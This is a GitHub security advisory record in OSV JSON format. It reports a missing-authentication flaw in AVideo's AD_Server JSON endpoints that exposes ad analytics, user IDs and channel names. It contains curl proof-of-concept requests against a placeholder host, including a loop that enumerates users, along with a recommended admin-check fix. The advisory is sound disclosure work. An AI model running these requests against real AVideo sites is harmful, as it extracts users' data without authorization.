{"id":"GHSA-j36m-74g2-7m95","summary":"AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data","details":"## Summary\n\nThe `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected.\n\n## Details\n\nThe vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:\n\n```php\n// plugin/AD_Server/reports.json.php:1-10\n\u003c?php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\n// Fetch request parameters with safety checks\n$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;\n$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;\n$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;\n```\n\nCompare with the HTML page at `plugin/AD_Server/reports.php:6-8`, which correctly gates access:\n\n```php\nif (!User::isAdmin()) {\n    forbiddenPage(__(\"You cannot do this\"));\n    exit;\n}\n```\n\nAnd `plugin/AD_Server/getCSV.php:4-6`:\n\n```php\nif (!User::isAdmin()) {\n    forbiddenPage('You must be Admin');\n}\n```\n\nThe JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, `getAdsByVideoAndPeriod()` at `VastCampaignsLogs.php:239` executes:\n\n```sql\nSELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,\n       COUNT(vcl.id) as total_ads, vc.name as campaign_name\nFROM vast_campaigns_logs vcl\nLEFT JOIN videos v ON v.id = vcl.videos_id\nLEFT JOIN users u ON u.id = v.users_id\nLEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id\nLEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id\n```\n\nThis returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.\n\nAdditionally, `plugin/AD_Server/getData.json.php` also lacks authentication and exposes aggregate ad view counts via `VastCampaignsLogs::getViews()`, though with lower impact.\n\n## PoC\n\n```bash\n# 1. Get all ad performance by video — returns video titles, user channel names,\n#    user IDs, campaign names, and impression counts (no auth needed)\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'\n\n# Expected: JSON array with objects containing video_title, channelName,\n# users_id, videos_id, total_ads, campaign_name\n\n# 2. Get per-user ad analytics for a specific user\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'\n\n# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id\n\n# 3. Get ad type breakdown with campaign names\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 4. Get ads for a specific video\ncurl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'\n\n# Expected: JSON array with type, total_ads, campaign_name\n\n# 5. Enumerate users by iterating user IDs\nfor i in $(seq 1 20); do\n  curl -s \"https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i\"\ndone\n\n# 6. Aggregate view counts (lower impact, also unauthenticated)\ncurl -s 'https://target/plugin/AD_Server/getData.json.php'\n\n# Expected: {\"error\":false,\"msg\":\"\",\"views\":12345}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- **Enumerate platform users**: Extract user IDs and channel names by iterating `users_id` values via the `adsByUser` report type\n- **Extract ad campaign intelligence**: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)\n- **Map video-to-user relationships**: Determine which user owns which video and their ad revenue performance\n- **Competitive intelligence**: On multi-tenant instances, one content creator could extract another's ad performance data\n\nThe data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to both `reports.json.php` and `getData.json.php`, matching the pattern used by `reports.php` and `getCSV.php`:\n\n**plugin/AD_Server/reports.json.php** — add after line 5:\n```php\n\u003c?php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n    header('HTTP/1.1 403 Forbidden');\n    die(json_encode(['error' =\u003e 'You must be an admin to access this resource']));\n}\n```\n\n**plugin/AD_Server/getData.json.php** — add after line 4:\n```php\nheader('Content-Type: application/json');\nrequire_once '../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n    header('HTTP/1.1 403 Forbidden');\n    die(json_encode(['error' =\u003e true, 'msg' =\u003e 'You must be an admin to access this resource']));\n}\n```","aliases":["CVE-2026-33685"],"modified":"2026-03-25T20:26:19.970484Z","published":"2026-03-25T19:52:42Z","database_specific":{"github_reviewed_at":"2026-03-25T19:52:42Z","nvd_published_at":"2026-03-23T19:16:41Z","cwe_ids":["CWE-862"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-j36m-74g2-7m95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33685"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/daca4ffb1ce19643eecaa044362c41ac2ce45dde"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-j36m-74g2-7m95/GHSA-j36m-74g2-7m95.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}